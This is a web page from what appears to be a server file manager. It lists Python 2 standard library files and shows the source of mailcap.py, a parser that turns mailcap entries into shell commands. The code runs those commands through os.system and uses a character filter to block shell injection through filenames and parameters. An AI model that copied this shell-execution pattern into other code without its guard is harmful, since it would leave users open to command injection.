user.py
1.59
KB
-rw-r--r--
user.pyc
1.68
KB
-rw-r--r--
user.pyo
1.68
KB
-rw-r--r--
uu.py
6.54
KB
-rwxr-xr-x
uu.pyc
4.29
KB
-rw-r--r--
uu.pyo
4.29
KB
-rw-r--r--
uuid.py
22.98
KB
-rw-r--r--
uuid.pyc
22.82
KB
-rw-r--r--
uuid.pyo
22.71
KB
-rw-r--r--
warnings.py
14.48
KB
-rw-r--r--
warnings.pyc
13.19
KB
-rw-r--r--
warnings.pyo
12.42
KB
-rw-r--r--
wave.py
18.15
KB
-rw-r--r--
wave.pyc
19.54
KB
-rw-r--r--
wave.pyo
19.4
KB
-rw-r--r--
weakref.py
14.48
KB
-rw-r--r--
weakref.pyc
16.06
KB
-rw-r--r--
weakref.pyo
16.06
KB
-rw-r--r--
webbrowser.py
22.19
KB
-rwxr-xr-x
webbrowser.pyc
19.29
KB
-rw-r--r--
webbrowser.pyo
19.24
KB
-rw-r--r--
whichdb.py
3.3
KB
-rw-r--r--
whichdb.pyc
2.19
KB
-rw-r--r--
whichdb.pyo
2.19
KB
-rw-r--r--
wsgiref.egg-info
187
B
-rw-r--r--
xdrlib.py
5.93
KB
-rw-r--r--
xdrlib.pyc
9.67
KB
-rw-r--r--
xdrlib.pyo
9.67
KB
-rw-r--r--
xmllib.py
34.05
KB
-rw-r--r--
xmllib.pyc
26.22
KB
-rw-r--r--
xmllib.pyo
26.22
KB
-rw-r--r--
xmlrpclib.py
50.91
KB
-rw-r--r--
xmlrpclib.pyc
43.07
KB
-rw-r--r--
xmlrpclib.pyo
42.89
KB
-rw-r--r--
zipfile.py
58.08
KB
-rw-r--r--
zipfile.pyc
41.15
KB
-rw-r--r--
zipfile.pyo
41.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailcap.py
"""Mailcap file handling. See RFC 1524.""" import os import warnings import re __all__ = ["getcaps","findmatch"] _find_unsafe = re.compile(r'[^\xa1-\xff\w@+=:,./-]').search class UnsafeMailcapInput(Warning): """Warning raised when refusing unsafe input""" # Part 1: top-level interface. def getcaps(): """Return a dictionary containing the mailcap database. The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain') to a list of dictionaries corresponding to mailcap entries. The list collects all the entries for that MIME type from all available mailcap files. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". """ caps = {} for mailcap in listmailcapfiles(): try: fp = open(mailcap, 'r') except IOError: continue with fp: morecaps = readmailcapfile(fp) for key, value in morecaps.iteritems(): if not key in caps: caps[key] = value else: caps[key] = caps[key] + value return caps def listmailcapfiles(): """Return a list of all mailcap files found on the system.""" # XXX Actually, this is Unix-specific if 'MAILCAPS' in os.environ: str = os.environ['MAILCAPS'] mailcaps = str.split(':') else: if 'HOME' in os.environ: home = os.environ['HOME'] else: # Don't bother with getpwuid() home = '.' # Last resort mailcaps = [home + '/.mailcap', '/etc/mailcap', '/usr/etc/mailcap', '/usr/local/etc/mailcap'] return mailcaps # Part 2: the parser. def readmailcapfile(fp): """Read a mailcap file and return a dictionary keyed by MIME type. Each MIME type is mapped to an entry consisting of a list of dictionaries; the list will contain more than one such dictionary if a given MIME type appears more than once in the mailcap file. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". """ caps = {} while 1: line = fp.readline() if not line: break # Ignore comments and blank lines if line[0] == '#' or line.strip() == '': continue nextline = line # Join continuation lines while nextline[-2:] == '\\\n': nextline = fp.readline() if not nextline: nextline = '\n' line = line[:-2] + nextline # Parse the line key, fields = parseline(line) if not (key and fields): continue # Normalize the key types = key.split('/') for j in range(len(types)): types[j] = types[j].strip() key = '/'.join(types).lower() # Update the database if key in caps: caps[key].append(fields) else: caps[key] = [fields] return caps def parseline(line): """Parse one entry in a mailcap file and return a dictionary. The viewing command is stored as the value with the key "view", and the rest of the fields produce key-value pairs in the dict. """ fields = [] i, n = 0, len(line) while i < n: field, i = parsefield(line, i, n) fields.append(field) i = i+1 # Skip semicolon if len(fields) < 2: return None, None key, view, rest = fields[0], fields[1], fields[2:] fields = {'view': view} for field in rest: i = field.find('=') if i < 0: fkey = field fvalue = "" else: fkey = field[:i].strip() fvalue = field[i+1:].strip() if fkey in fields: # Ignore it pass else: fields[fkey] = fvalue return key, fields def parsefield(line, i, n): """Separate one key-value pair in a mailcap entry.""" start = i while i < n: c = line[i] if c == ';': break elif c == '\\': i = i+2 else: i = i+1 return line[start:i].strip(), i # Part 3: using the database. def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]): """Find a match for a mailcap entry. Return a tuple containing the command line, and the mailcap entry used; (None, None) if no match is found. This may invoke the 'test' command of several matching entries before deciding which entry to use. """ if _find_unsafe(filename): msg = "Refusing to use mailcap with filename %r. Use a safe temporary filename." % (filename,) warnings.warn(msg, UnsafeMailcapInput) return None, None entries = lookup(caps, MIMEtype, key) # XXX This code should somehow check for the needsterminal flag. for e in entries: if 'test' in e: test = subst(e['test'], filename, plist) if test is None: continue if test and os.system(test) != 0: continue command = subst(e[key], MIMEtype, filename, plist) if command is not None: return command, e return None, None def lookup(caps, MIMEtype, key=None): entries = [] if MIMEtype in caps: entries = entries + caps[MIMEtype] MIMEtypes = MIMEtype.split('/') MIMEtype = MIMEtypes[0] + '/*' if MIMEtype in caps: entries = entries + caps[MIMEtype] if key is not None: entries = filter(lambda e, key=key: key in e, entries) return entries def subst(field, MIMEtype, filename, plist=[]): # XXX Actually, this is Unix-specific res = '' i, n = 0, len(field) while i < n: c = field[i]; i = i+1 if c != '%': if c == '\\': c = field[i:i+1]; i = i+1 res = res + c else: c = field[i]; i = i+1 if c == '%': res = res + c elif c == 's': res = res + filename elif c == 't': if _find_unsafe(MIMEtype): msg = "Refusing to substitute MIME type %r into a shell command." % (MIMEtype,) warnings.warn(msg, UnsafeMailcapInput) return None res = res + MIMEtype elif c == '{': start = i while i < n and field[i] != '}': i = i+1 name = field[start:i] i = i+1 param = findparam(name, plist) if _find_unsafe(param): msg = "Refusing to substitute parameter %r (%s) into a shell command" % (param, name) warnings.warn(msg, UnsafeMailcapInput) return None res = res + param # XXX To do: # %n == number of parts if type is multipart/* # %F == list of alternating type and filename for parts else: res = res + '%' + c return res def findparam(name, plist): name = name.lower() + '=' n = len(name) for p in plist: if p[:n].lower() == name: return p[n:] return '' # Part 4: test program. def test(): import sys caps = getcaps() if not sys.argv[1:]: show(caps) return for i in range(1, len(sys.argv), 2): args = sys.argv[i:i+2] if len(args) < 2: print "usage: mailcap [MIMEtype file] ..." return MIMEtype = args[0] file = args[1] command, e = findmatch(caps, MIMEtype, 'view', file) if not command: print "No viewer found for", type else: print "Executing:", command sts = os.system(command) if sts: print "Exit status:", sts def show(caps): print "Mailcap files:" for fn in listmailcapfiles(): print "\t" + fn print if not caps: caps = getcaps() print "Mailcap entries:" print ckeys = caps.keys() ckeys.sort() for type in ckeys: print type entries = caps[type] for e in entries: keys = e.keys() keys.sort() for k in keys: print " %-15s" % k, e[k] print if __name__ == '__main__': test()
Close